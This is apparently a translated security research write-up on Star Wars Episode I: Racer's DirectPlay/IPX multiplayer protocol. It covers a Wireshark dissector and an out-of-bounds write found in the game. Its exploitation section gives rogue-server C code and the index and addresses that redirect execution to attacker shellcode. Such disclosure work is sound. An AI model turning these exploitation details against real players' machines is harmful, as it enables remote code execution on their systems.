Star Wars Episode I: Racer
Star Wars Episode I: Racer 是一款由 LucasArts 发行的竞速电子游戏。玩家驾驶一辆 podracer,就像电影 Star Wars: Episode I – The Phantom Menace 中那样。本文详细介绍了多人游戏协议以及一个允许远程执行代码的漏洞。我们还会涉及创建 Wireshark dissector 以及使用 DirectPlay 开发工具。
想提升你的技能吗?了解我们的培训课程!了解更多。
Introduction
Star Wars Episode I: Racer 是一款由 LucasArts 于 1999 年开发的竞速电子游戏。它基于电影 Star Wars: Episode I – The Phantom Menace 中的 podrace 场景。本次研究聚焦于 GOG 为 Windows 平台分发的 1.0 版本。本文详细分析用于局域网多人游戏的协议。

Network analysis
首先需要进行流量分析。游戏安装在同一个网络上的两台虚拟机上。下面用 Wireshark 显示的网络捕获,展示了当一名玩家(位于 192.168.56.2)连接到游戏主机(192.168.56.104)时发送的数据包。

游戏在多人模式下通过 UDP 在目标端口 54792 上通信。数据包由客户端发送到广播地址 192.168.56.255,因此局域网内的每台机器都会收到它们。这是电子游戏用于在局域网中发现游戏实例的常见机制。随后服务器用包含游戏名称的数据包回复客户端。
上面的捕获中确实包含游戏名称 MY Game : (null)。Wireshark 似乎没有检测到该子协议;不过,数据包中出现字符串 "play" 可能表明这是 DirectPlay 协议1。Wireshark 中实现的 DirectPlay dissector 源代码 epan/dissectors/packet-dplay.c 使用了这一启发式规则 [1]。
static bool heur_dissect_dplay(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
uint32_t dplay_id, token;
if(tvb_captured_length(tvb) < 25)
return false;
/* The string play = 0x706c6179 */
dplay_id = tvb_get_ntohl(tvb, 20); // [1]
if( dplay_id == 0x706c6179) {
dissect_dplay(tvb, pinfo, tree);
return true;
}
[...]
}
然而,由于字符串 "play" 位于偏移 27 而不是偏移 20,因此无法识别为 DirectPlay 协议。让我们尝试通过逆向工程来确认是否使用了 DirectPlay 协议。
Static analysis of Direct Play usage
微软的 DirectPlay API 使用组件对象模型2(COM)。它是一种规范,描述了对象模型和编程要求,使 COM 对象能够与其他对象交互。在实践中,COM 对象(也称为组件)由一个称为 CLSID(Class Identifier)的唯一标识符来标识。Windows CoCreateInstance API 允许通过 CLSID 创建并初始化 COM 对象。DirectPlay 头文件 dplay.h 提供了 DirectPlay 组件的 CLSID 以及各个 DirectPlay 接口的标识符。
/*
* GUIDS used by DirectPlay objects
*/
DEFINE_GUID(IID_IDirectPlay2, 0x2b74f7c0, 0x9154, 0x11cf, 0xa9, 0xcd, 0x0, 0xaa, 0x0, 0x68, 0x86, 0xe3);
DEFINE_GUID(IID_IDirectPlay2A,0x9d460580, 0xa822, 0x11cf, 0x96, 0xc, 0x0, 0x80, 0xc7, 0x53, 0x4e, 0x82);
DEFINE_GUID(IID_IDirectPlay3, 0x133efe40, 0x32dc, 0x11d0, 0x9c, 0xfb, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
DEFINE_GUID(IID_IDirectPlay3A,0x133efe41, 0x32dc, 0x11d0, 0x9c, 0xfb, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
DEFINE_GUID(IID_IDirectPlay4, 0xab1c530, 0x4745, 0x11d1, 0xa7, 0xa1, 0x0, 0x0, 0xf8, 0x3, 0xab, 0xfc);
DEFINE_GUID(IID_IDirectPlay4A,0xab1c531, 0x4745, 0x11d1, 0xa7, 0xa1, 0x0, 0x0, 0xf8, 0x3, 0xab, 0xfc);
// {D1EB6D20-8923-11d0-9D97-00A0C90A43CB} DEFINE_GUID(CLSID_DirectPlay,0xd1eb6d20, 0x8923, 0x11d0, 0x9d, 0x97, 0x0, 0xa0, 0xc9, 0xa, 0x43, 0xcb);
在 IDA 中进行二进制搜索可以定位到该 CLSID,并通过交叉引用识别其使用位置。实例化 DirectPlay 组件的函数伪代码如下:
BOOL DPCreateInstance() { IDirectPlay4::vtable vftable; // edi GUID guid; // eax
CoInitialize(pvReserved: nullptr); CoCreateInstance( rclsid: &rclsid_DirectPlay, pUnkOuter: nullptr, dwClsContext: 1u, riid: &IDirectPlay4, ppv: (LPVOID )&IDirectPlay4A); nConnection = 0; memset(g_ConnectionInfo, 0, 0x1180u); // [1] g_InSession = 0; dword_510258 = 0; vftable = IDirectPlay4A->vftable; guid = (GUID )getAppGUID(); return vftable->EnumConnections(self: IDirectPlay4A, guid, callback: EnumConnectionCallback, a4: 0, a5: 0) < 0; // [2]
对象初始化后,程序将一个 ConnectionInfo_t 结构体数组零初始化 [1]。随后该数组通过 EnumConnections 方法间接填充,每当发现一个网络服务提供者时就会调用 EnumConnectionCallback 回调 [2]。
struct ConnectionInfo_t { wchar_t wzShortName[128]; GUID pGUID; void *pOpaqueConnection; int dwConnectionSize; };
每个网络服务提供者由一个 GUID(全局唯一标识符)标识。DirectPlay 最初提供了 4 种不同的网络服务提供者:
| 服务提供者 | GUID |
|---|---|
| Transmission Control Protocol/Internet Protocol (TCP/IP) | {36E95EE0-8577-11cf-960C-0080C7534E82} |
| Internetwork Packet Exchange (IPX) | {685BC400-9D2C-11cf-A9CD-00AA006886E3} |
| Modem | {44EAA760-CB68-11cf-9C4E-00A0C905425E} |
| Serial | {0F1D6860-88D9-11cf-9C4E-00A0C905425E} |
网络服务提供者注册在 Windows 注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\DirectPlay\Service Providers 键下。

如以下伪代码所示,程序遍历所有已安装的网络服务提供者,并显式选择 IPX [1]
int InitializeIPXConnection() { unsigned int v0; // ebp int index; // ebx ConnectionInfo_t connectionInfo; // [esp+10h] [ebp-118h] BYREF
if ( dword_4EB398 != 0 ) return 0; v0 = GetCountConnection(); index = 0; if ( v0 == 0 ) return 0; while ( 1 ) { GetConnectionInfoByIndex(index, info: &connectionInfo); if ( memcmp(&connectionInfo.pGUID, &DPSPGUID_IPX, 0x10u) == 0 ) // [1] break; if ( ++index >= v0 ) return 0; } g_ChoosenProvider = index; SetProvider(conn: index); dword_4EB398 = 1; return 1; }
IPX3 是 Novell 在 1980 年代开发的一种网络通信协议。它是一种无连接协议,工作在 OSI 模型的网络层(第 3 层)。因此 IPX 负责在不同网络之间路由和投递数据包。IPX 地址由以下部分组成:
- 一个 32 位网络号
- 一个 48 位节点号,默认使用机器的 MAC 地址
- 一个套接字号,用于标识目标节点上的应用程序或进程
从 Windows Vista 开始,IPX 支持被正式停止。然而,IPX 服务提供者是由游戏专门安装的,如脚本 C:\\GOG Games\\STAR Wars Racer\\directplay-win64.reg 所示。游戏的安装文件夹中包含来自 ipxwrapper4 项目的 DLL。该项目通过将数据包封装成 UDP 数据报来模拟 IPX。
- dpwsockx.dll :DirectPlay IPX 服务提供者实现
- ipxwrapper.dll :Windows socket 函数的实现
- mswsock.dll :Windows Sockets 2 兼容 API(到 ipxwrapper.dll 的跳板)
- wsock32.dll :Windows Sockets 1.1 兼容 API(到 ipxwrapper.dll 的跳板)
ipxwrapper 源代码初始化一个监听端口 54792 的 UDP 套接字。根据 src/router.c,DirectPlay 数据包被封装在 src/ipxwrapper.h 中定义的 ipx_packet 结构体中:
struct ipx_packet { uint8_t ptype;
unsigned char dest_net[4]; unsigned char dest_node[6]; uint16_t dest_socket;
unsigned char src_net[4]; unsigned char src_node[6]; uint16_t src_socket;
uint16_t size; char data[1]; } __attribute__((__packed__));
这些信息使我们能够解码先前捕获的游戏公告数据包的头部:
- ptype(紫色)
- dest_net(0x00000001)、dest_node(8E:E0:B5:8C:5E:B2)和 dest_socket(蓝色)
- src_net(0x00000001)、src_node(93:57:94:89:8E:D2)和 src_socket(红色)
- size(绿色)
- DirectPlay 数据包(黄色)

实用程序 C:\\GOG Games\\STAR Wars Racer\\ipxconfig.exe 允许你获取本机的 IPX 配置。节点地址(8E:E0:B5:8C:5E:B2)和网络号与先前解码出的头部中观察到的一致。

现在,我们拥有解码 IPXwrapper 头部所需的全部信息。因此,我们着手创建一个 Wireshark 解析器。随后将调用 DirectPlay 解析器(已原生支持)来解码 IPX 数据包的数据部分。
## 创建 Wireshark 解析器
首先,文件 epan/dissectors/packet-ipxwrapper.c 定义了一个极简解析器。必须实现两个函数:proto_register_XXX 和 proto_reg_handoff_XXX,其中 XXX 表示协议名,这里是 ipxwrapper。
hf_register_info 数组 [1] 描述了数据包的每个字段、其大小,以及在图形用户界面中应显示的格式。
proto_register_ipxwrapper 负责注册协议及其元数据,这些元数据将出现在应用程序菜单中 [2]。register_dissector_with_description 将协议与解析器关联。当 Wireshark 检测到该协议,或使用“Decode As”功能显式调用该解析器时,将调用解析函数 dissect_ipxwrapper [3]。
register_heur_dissector_list_with_description 创建一个启发式解析器列表,可对 IPX 数据包的数据部分调用 [4]。
void proto_register_ipxwrapper(void) { static hf_register_info hf[] = { // [1] / common header fields / {&hf_ipx_packet_type, {"Packet Type", "ipxwrapper.packet_type", FT_UINT8, BASE_HEX, NULL, 0x0, "Packet Type", HFILL}}, {&hf_ipx_dnet, {"Destination Network", "ipxwrapper.dst.net", FT_IPXNET, BASE_NONE, NULL, 0x0, NULL, HFILL}}, [...] }; [...] proto_ipxwrapper = proto_register_protocol
在 Star Wars Episode I: Racer 中发现漏洞
解析函数 dissect_ipxwrapper 检查数据包是否足够大 [1]。然后使用 proto_tree_add_item 函数添加各种协议字段 [2]。这些字段在 proto_register_ipxwrapper 函数内的 hf 数组中描述。
static int
dissect_ipxwrapper(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, _U_ void *data)
{
guint32 offset = 0;
guint tvb_len = tvb_captured_length(tvb);
col_set_str(pinfo->cinfo, COL_PROTOCOL, "IPX");
if (tvb_len < (1 + 4 + 6 + 2 + 4 + 6 + 2)) // [1]
{
col_add_fstr(pinfo->cinfo, COL_INFO, "truncated IPX (%u bytes)", tvb_len);
return tvb_len;
}
col_clear(pinfo->cinfo, COL_INFO);
proto_item *ti = proto_tree_add_item(tree, proto_ipxwrapper, tvb, 0, -1, ENC_NA);
proto_tree *ipx_tree = proto_item_add_subtree(ti, ett_ipxwrapper);
proto_tree_add_item(ipx_tree, hf_ipx_packet_type, tvb, offset, 1, ENC_LITTLE_ENDIAN); // [2]
offset += 1;
proto_tree_add_item(ipx_tree, hf_ipx_dnet, tvb, offset, 4, ENC_BIG_ENDIAN);
offset += 4;
[...]
tvbuff_t *next_tvb = tvb_new_subset_remaining(tvb, offset);
heur_dtbl_entry_t* hdtbl_entry = NULL;
if(!dissector_try_heuristic(heur_subdissector_list, next_tvb, pinfo, tree, &hdtbl_entry, data)) // [3]
{
call_data_dissector(next_tvb, pinfo, tree);
}
return tvb_captured_length(tvb);
}
最后,必须对数据载荷调用 DirectPlay 解析器。然而,DirectPlay 协议只为特定协议注册启发式解析器。heur_dissector_add 方法将解析器添加到先前在 packet-ipxwrapper.c 文件中初始化的启发式解析器列表中
void proto_reg_handoff_dplay(void)
{
heur_dissector_add("udp", heur_dissect_dplay, "DirectPlay over UDP", "dplay_udp", proto_dplay, HEURISTIC_DISABLE);
heur_dissector_add("tcp", heur_dissect_dplay, "DirectPlay over TCP", "dplay_tcp", proto_dplay, HEURISTIC_DISABLE);
heur_dissector_add("ipxwrapper", heur_dissect_dplay, "DirectPlay over IPX", "dplay_ipx", proto_dplay, HEURISTIC_DISABLE); // [1]
}
尽管如此,Wireshark 似乎仍然无法识别 DirectPlay 数据包。这是该软件当前的限制:只有使用 DirectPlay 4 Reliable Protocol5 的数据包会被识别。如文档所述,标记为可选的字段仅在会话创建期间使用 DPSESSION_DIRECTPLAYPROTOCOL (0x2000) 标志时才存在。

尽管调用 DirectPlay 接口的 Open 方法时会传入包含该标志的会话描述,但后面的某个函数会显式禁用该设置 [1]。
int __cdecl sub_486FC0(int a1, DWORD maxPlayer, int unknownBool)
{
int v3; // edi
LPDPSESSIONDESC2 session; // esi
DWORD flags; // eax
const wchar_t *lpszSessionName; // edx
wchar_t *v7; // eax
DWORD dwSize; // [esp+14h] [ebp-104h] BYREF
wchar_t Destination[128]; // [esp+18h] [ebp-100h] BYREF
v3 = 0;
if ( IDirectPlay4A->vftable->GetSessionDesc(a1: IDirectPlay4A, a2: nullptr, a3: &dwSize) == 0x8877001E )
{
session = (LPDPSESSIONDESC2)(*(int (__cdecl **)(DWORD))(allocator + 32))(a1: dwSize);
if ( session == nullptr || IDirectPlay4A->vftable->GetSessionDesc(a1: IDirectPlay4A, a2: session, a3: &dwSize) < 0 )
goto LABEL_10;
flags = session->dwFlags;
LOBYTE(flags) = unknownBool != 0 ? flags & 0xDF : flags | DPSESSION_JOINDISABLED; // [1]
lpszSessionName = session->lpszSessionName;
session->dwFlags = flags;
wcsncpy(Destination, Source: lpszSessionName, Count: 0x7Fu);
Destination[127] = 0;
v7 = wcsrchr(Str: Destination, Ch: 0x3Au);
if ( v7 == nullptr
|| (_snwprintf(Buffer: v7 + 1, BufferCount: 0x20u, Format: L"%S", a1),
session->lpszSessionName = Destination,
session->dwMaxPlayers = maxPlayer,
((int (__stdcall *)(IDirectPlay4 *, LPDPSESSIONDESC2, _DWORD))IDirectPlay4A->vftable->SetSessionDesc)(
a1: IDirectPlay4A,
a2: session,
a3: 0) < 0) )
{
LABEL_10:
v3 = 1;
}
}
else
{
session = (LPDPSESSIONDESC2)dwSize;
v3 = 1;
}
(*(void (__cdecl **)(LPDPSESSIONDESC2))(allocator + 36))(a1: session);
return v3;
}
对 DirectPlay 解析器做了几处修改,以处理不带可选头的数据包。下面是 Wireshark 正确解码的一次网络抓包。

数据包处理的静态分析
接下来,我们将重点处理应用程序特定的 DirectPlay 数据包。DirectPlay 消息通过 IDirectPlay4A 接口的 Receive 方法接收。该方法可能返回 DPERR_NOMESSAGES 错误码(0x887700BE),使用 DirectPlay 的程序通常会处理这个错误码。调用 Receive 的函数是通过搜索上述常量 [1] 定位到的。
int __cdecl DPReceive(DPID *dpIdFrom, _DWORD *data, DWORD *dwDataSize_idTo)
{
DWORD *lpDataSize; // ebx
int v4; // eax
int result; // eax
lpDataSize = dwDataSize_idTo;
v4 = IDirectPlay4A->vftable->Receive(
this: IDirectPlay4A,
lpidFrom: dpIdFrom,
lpidTo: (DPID *)&dwDataSize_idTo,
dwFlags: 1,
lpData: data,
lpdwDataSize: dwDataSize_idTo);
if ( v4 < 0 )
return (v4 == 0x887700BE) - 2; // [1]
while ( *dpIdFrom == DPID_SYSMSG )
{
result = HandleSysMessage(message: data, playerIdOrGroup: dpIdFrom);
if ( result != -1 )
return result;
v4 = IDirectPlay4A->vftable->Receive(
this: IDirectPlay4A,
lpidFrom: dpIdFrom,
lpidTo: (DPID *)&dwDataSize_idTo,
dwFlags: 1,
lpData: data,
lpdwDataSize: lpDataSize);
if ( v4 < 0 )
return (v4 == 0x887700BE) - 2;
}
return 0;
}
HandleSysMessage 函数部分处理系统消息,这些消息用于管理游戏会话事件。与由应用程序定义的用户消息不同,每种系统消息的结构定义在 DirectPlay 头文件中。
- DPSYS_CREATEPLAYERORGROUP:在创建玩家或组时发送
- DPSYS_DESTROYPLAYERORGROUP:在移除玩家或组时发送
- DPSYS_SESSIONLOST:如果 DirectPlay 对象与会话中所有其他玩家失去连接,则发送
- DPSYS_HOST:当游戏主机离开会话,使当前 DirectPlay 实例成为新的游戏主机时发送
处理用户消息的函数是通过回溯对 Receive 方法的调用来定位的。消息类型 0x21、0x22、0x28 和 0x20 在玩家尚未完全加入游戏时被处理,如 [1] 处伪代码所示。初始连接步骤使用 DirectPlay API 处理,同时游戏也维护自己的玩家状态,并实现特定消息来添加和移除玩家。
int sub_41B7F0()
{
int v0; // esi
int result; // eax
v0 = 0;
result = sub_41D6B0();
if ( result != 0 )
{
if ( dword_4E9EB0 != 0 )
{
dword_4E9EA8 = 0;
do
{
if ( DequeuePacket(id: &txrx_packet) != 1 )
break;
++v0;
if ( txrx_packet.dpId != 0 )
{
if ( GetPlayerNumFromDPID(dpId: txrx_packet.dpId) >= 0
|| txrx_packet.buffer.generic.wMsgId == 0x21
|| txrx_packet.buffer.generic.wMsgId == 0x22
|| txrx_packet.buffer.generic.wMsgId == 0x28
|| txrx_packet.buffer.generic.wMsgId == 0x20 ) // [1]
{
if ( txrx_packet.buffer.generic.sequenceNum == 0
|| (sub_41B960(a1: txrx_packet.dpId, a2: txrx_packet.buffer.generic.sequenceNum),
CheckDuplicatePacket(dpId: txrx_packet.dpId, a2: txrx_packet.buffer.generic.sequenceNum) == 0) )
{
CallNetworkHandler(pkt: &txrx_packet);
}
}
检查数据包的 wMsgId 字段表明,理论上有 100 个不同的消息处理函数 [1]。然而,network_handlers_table 数组中只有 26 个条目被初始化。
int __cdecl CallNetworkHandler(RxPacket_t *pkt)
{
unsigned int wMsgId; // eax
CALLBACK_RX callback; // eax
wMsgId = (unsigned __int16)pkt->buffer.generic.wMsgId;
if ( (unsigned __int16)wMsgId < 100u && // [1]
(callback = network_handlers_table[wMsgId]) != nullptr )
return callback(packet: pkt);
else
return 1;
}
漏洞
处理类型 0x21 数据包的函数包含一个越界写入漏洞。首先,从网络数据包中取出一个 iIndex 整数 [1]。然后,程序使用 wcsncpy 将一个 UTF-16 字符串复制到由该索引选定的 STATE_T 结构的 wzName 成员中。大于或等于 20 的索引会导致写入超出 _g_PlayerStates 数组的边界。
int __cdecl Handler_21h(RxPacket_t *packet)
{
int index; // esi
index = packet->buffer.message_21h.iIndex; // [1]
wcsncpy(
Destination: _g_PlayerStates[index].wzName, // [2]
Source: packet->buffer.message_21h.wzName,
Count: 0xFu );
_g_PlayerStates[index].wzName[15] = 0;
return 1;
}
利用
编写了一个极简的基于 DirectPlay 的服务器,用于向客户端发送特制的消息。首先,必须使用 CoCreateInstance6 API 获取一个 DirectPlay 对象实例。
hr = CoCreateInstance(CLSID_DirectPlay, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlay4, (LPVOID *)&lpDirectPlay4);
接下来,程序使用 EnumConnection 和 InitializeConnection 方法选择 IPX 网络服务提供程序。必须将 IPXwrapper DLL 放到服务器的执行目录中。然后,服务器通过 Open 方法 [1] 创建会话。第一个参数是会话描述符,指定允许的最大玩家数、游戏名称以及 guidApplication。这个唯一标识符必须与 Star Wars Racer 的游戏 ID 匹配:{C95FB584-FA31-11D2-909D00AA00A322AD}。使用 CreatePlayer 方法创建玩家。创建一个事件对象,每当收到发给该玩家的消息时,该事件对象都会被置为有信号状态。核心消息处理在 ReceiveLoop 函数 [3] 内完成。
在 Star Wars Episode I: Racer 中发现漏洞
WCHAR sessionName[1024] = {0};
wcscpy(sessionName, L"Test session");
ZeroMemory(&sessionDesc, sizeof(DPSESSIONDESC2));
sessionDesc.dwSize = sizeof(DPSESSIONDESC2);
sessionDesc.dwFlags = DPSESSION_KEEPALIVE | DPSESSION_NODATAMESSAGES | DPSESSION_MIGRATEHOST;
sessionDesc.guidApplication = GUID_StarWarsRacer;
sessionDesc.dwMaxPlayers = 20;
sessionDesc.lpszSessionName = sessionName;
sessionDesc.dwUser3 = 1;
sessionDesc.dwUser4 = 0xB4;
sessionDesc.dwUser1 = 0x80000000;
printf("[i] Hosting game ...\n");
hr = lpDirectPlay4->Open(&sessionDesc, DPOPEN_CREATE); // [1]
if (!SUCCEEDED(hr))
{
fprintf(stderr, "Open failed (0x%08.8x)\n", hr);
return -1;
}
DPNAME dpName;
WCHAR lpszPlayerName[256];
wcscpy(lpszPlayerName, L"Player");
ZeroMemory(&dpName, sizeof(DPNAME));
dpName.dwSize = sizeof(DPNAME);
dpName.lpszShortName = lpszPlayerName;
HANDLE hPlayerEvent = CreateEvent(NULL, // no security
FALSE, // auto reset
FALSE, // initial event reset
NULL); // no name
printf("[i] CreatePlayer ...\n");
hr = lpDirectPlay4->CreatePlayer(&g_DPIDHostPlayer, &dpName, hPlayerEvent, NULL, 0, 0); // [2]
if (!SUCCEEDED(hr))
{
fprintf(stderr, "CreatePlayer failed (0x%08.8x)\n", hr);
return -1;
}
ReceiveLoop(lpDirectPlay4, hPlayerEvent); // [3]
该函数使用 WaitForMultipleObjects7 API 等待来自 DirectPlay 对象的消息 [1]。消息通过 Receive 方法获取,该方法返回发送方的标识符。应用程序必须处理两类消息:系统消息,其中发送方 ID 为 DPID_SYSMSG;以及特定于 Star Wars Episode I: Racer 的自定义消息。
VOID ReceiveLoop(LPDIRECTPLAY4 lpDirectPlay4A, HANDLE hPlayerEvent)
{
DPID idTo, idFrom;
LPVOID lpvMsgBuffer;
DWORD dwMsgBufferSize;
HRESULT hr;
lpvMsgBuffer = NULL;
dwMsgBufferSize = 0;
HANDLE eventHandles[2];
eventHandles[0] = hPlayerEvent;
while (WaitForMultipleObjects(1, eventHandles, FALSE, INFINITE) == WAIT_OBJECT_0) // [1]
{
idFrom = 0;
idTo = 0;
hr = lpDirectPlay4A->Receive(&idFrom, &idTo, DPRECEIVE_ALL, lpvMsgBuffer, &dwMsgBufferSize);
if (hr == DPERR_BUFFERTOOSMALL)
{
if (lpvMsgBuffer)
free(lpvMsgBuffer);
lpvMsgBuffer = malloc(dwMsgBufferSize);
hr = lpDirectPlay4A->Receive(&idFrom, &idTo, DPRECEIVE_ALL, lpvMsgBuffer, &dwMsgBufferSize);
}
if (!SUCCEEDED(hr))
{
printf("Receive error : %08.8x\n", hr);
break;
}
if (idFrom == DPID_SYSMSG)
{
HandleSystemMessage(lpDirectPlay4A, (LPDPMSG_GENERIC)lpvMsgBuffer, dwMsgBufferSize, idFrom, idTo);
}
else
{
[...]
}
}
}
系统消息始终以一个表示消息类型的 DWORD 开头,其余字段根据该类型定义。服务器应用程序必须处理 DPSYS_CREATEPLAYERORGROUP 系统消息。当玩家连接时,服务器保存其 ID,以便稍后发送载荷。最初,服务器会以专有的 0x20 类型消息响应,其中包含游戏会话中活动玩家的列表。

当目标玩家发送类型 0x22 的消息时,触发利用。该消息由客户端在连接后发送,并且再次包含玩家名称。
该漏洞利用通过响应一条类型 0x21 的消息来生效,该消息会覆盖 network_handlers_table 数组中的一个处理程序。将索引设置为 0x01737B26 会定位到地址 0x004E9DE4,该地址对应消息 0x33 的处理程序。处理程序被替换为 0xEC7BC8,该地址对应接收缓冲区地址。
发送了第二条包含 shellcode 的 0x33 类型消息,使程序执行该数据包中接收到的代码。
结论
我们在 Windows 10 测试环境(版本 10.0.19045.2965)中利用了这个漏洞。用于教育目的的概念验证(PoC)可在以下链接获取:https://github.com/synacktiv/SWEP1RCR-exploit
- 1. https://winprotocoldoc.z19.web.core.windows.net/MC-DPL4CS/%5BMC-DPL4CS%…
- 2. https://learn.microsoft.com/fr-fr/windows/win32/com/the-component-objec…
- 3. https://en.wikipedia.org/wiki/Internetwork_Packet_Exchange
- 4. https://github.com/solemnwarning/ipxwrapper
- 5. https://winprotocoldoc.z19.web.core.windows.net/MC-DPL4R/%5BMC-DPL4R%5D…
- 6. https://learn.microsoft.com/fr-fr/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
- 7. https://learn.microsoft.com/fr-fr/windows/win32/api/synchapi/nf-synchapi-waitformultipleobjects